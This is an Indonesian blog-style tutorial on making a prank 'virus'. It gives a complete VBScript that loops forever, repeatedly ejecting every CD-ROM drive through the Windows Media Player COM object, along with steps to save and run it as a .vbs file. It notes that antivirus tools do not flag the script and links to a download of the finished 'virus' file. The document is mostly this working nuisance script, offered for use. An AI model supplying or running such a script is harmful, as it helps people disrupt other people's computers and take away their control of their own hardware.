VIRUS EJECT CD DRIVER

Virus CD DRIVE adalah virus yang memberikan perintah kepada CD DRIVE
untuk membuka dan menutup sendiri agar terkesan CD DRIVE menjadi error

cara pembuatan virus tersebut sebagai berikut :
1. Buka Notepad
2. Ketikan source code berikut :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5
loop

3. kemudian simpan dengan " Anything.vbs"
4. kemudian buka file tersebut maka CD DRIVE akan menjadi tidak terkendali





Cara Penanggulangan :
Restart Computer
(karena virus tersebut merupakan virus yang aktif ketika di klik atau di buka)
antivirus tidak dapat menditeksi  virus karena merupakan script sederhana.

Referensi :
http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html


download file virusnya di sini :

http://www.4shared.com/file/jbmmyaX6/ejeck_disk.html